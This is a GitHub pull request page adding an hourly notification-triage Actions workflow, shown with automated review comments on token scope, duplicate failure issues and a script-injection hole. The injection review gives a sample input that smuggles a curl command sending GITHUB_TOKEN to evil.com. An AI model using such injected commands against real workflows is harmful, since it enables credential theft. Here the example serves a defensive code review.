-
Notifications
You must be signed in to change notification settings - Fork 0
feat: add hourly scheduled notification triage workflow #3
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,72 @@ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| name: Notification Triage | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| on: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| schedule: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| - cron: '0 * * * *' # every hour | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| workflow_dispatch: # manual trigger with inputs | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| inputs: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| limit: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| description: 'Max notifications to triage' | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| default: '50' | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| required: false | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| dry_run: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| description: 'Dry run (preview actions without executing)' | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| type: boolean | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| default: false | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| env: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| PYTHON_VERSION: "3.11" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| jobs: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| triage: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| name: Triage GitHub Notifications | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| runs-on: ubuntu-latest | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| steps: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| - uses: actions/checkout@v4 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| - uses: actions/setup-python@v5 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| with: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| python-version: ${{ env.PYTHON_VERSION }} | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| cache: pip | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| - name: Install dependencies | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| run: pip install requests pyyaml python-dotenv anthropic | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| run: pip install requests pyyaml python-dotenv anthropic | |
| run: pip install -r requirements.txt |
Copilot
AI
Mar 7, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The comment on line 39 says the built-in GITHUB_TOKEN "has notifications:read + write scope," but that is incorrect. The default GITHUB_TOKEN provided by GitHub Actions does not have notifications scope — it only has permissions scoped to the repository. The fallback to secrets.GITHUB_TOKEN will cause the triage to fail silently or with an API error if TRIAGE_GITHUB_TOKEN is not set. Consider updating the comment to clarify this limitation, and potentially adding a check/warning in the workflow if the PAT secret is not configured.
| # GITHUB_TOKEN is the Actions token — has notifications:read + write scope | |
| GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN || secrets.GITHUB_TOKEN }} | |
| ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} | |
| run: | | |
| # TRIAGE_GITHUB_TOKEN must be a PAT with notifications:read + write scope. | |
| # The default Actions GITHUB_TOKEN does NOT have notifications scope. | |
| GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN }} | |
| TRIAGE_GITHUB_TOKEN_CONFIGURED: ${{ secrets.TRIAGE_GITHUB_TOKEN != '' }} | |
| ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} | |
| run: | | |
| if [ "${TRIAGE_GITHUB_TOKEN_CONFIGURED}" != "true" ]; then | |
| echo "ERROR: TRIAGE_GITHUB_TOKEN is not configured." >&2 | |
| echo "The default Actions GITHUB_TOKEN does not have notifications scope; please add a TRIAGE_GITHUB_TOKEN secret with notifications:read + write permissions." >&2 | |
| exit 1 | |
| fi |
Copilot
AI
Mar 7, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The failure handler will create a new issue every time the workflow fails, including on every hourly scheduled run. If the failure persists (e.g., expired token), this will create up to 24 issues per day. Consider adding a check for existing open issues with the same labels before creating a new one, or using a fixed issue title so duplicate issues are not created.
| github.rest.issues.create({ | |
| owner: context.repo.owner, | |
| repo: context.repo.repo, | |
| title: `Notification triage failed — ${new Date().toISOString().slice(0,16).replace('T',' ')} UTC`, | |
| body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`, | |
| labels: ['bug', 'automated'], | |
| }); | |
| const failureTitle = 'Notification triage failed'; | |
| const { data: issues } = await github.rest.issues.listForRepo({ | |
| owner: context.repo.owner, | |
| repo: context.repo.repo, | |
| state: 'open', | |
| labels: 'bug,automated', | |
| }); | |
| const existing = issues.find(issue => issue.title === failureTitle); | |
| if (existing) { | |
| core.info(`Existing open failure issue #${existing.number} found, not creating a duplicate.`); | |
| } else { | |
| await github.rest.issues.create({ | |
| owner: context.repo.owner, | |
| repo: context.repo.repo, | |
| title: failureTitle, | |
| body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`, | |
| labels: ['bug', 'automated'], | |
| }); | |
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Script injection vulnerability: The
limitinput is interpolated directly into the shell script via${{ github.event.inputs.limit }}on line 43. Sincelimithas notypeconstraint (defaults tostring), a user with write access could inject arbitrary shell commands. For example, setting limit to50"; curl http://evil.com/steal?token=$GITHUB_TOKEN #would exfiltrate the token.The safe fix is to either:
type: numberto thelimitinput definition (which GitHub will validate), orenv:mapping) and reference it as$LIMITinstead of using the${{ }}expression directly inrun:.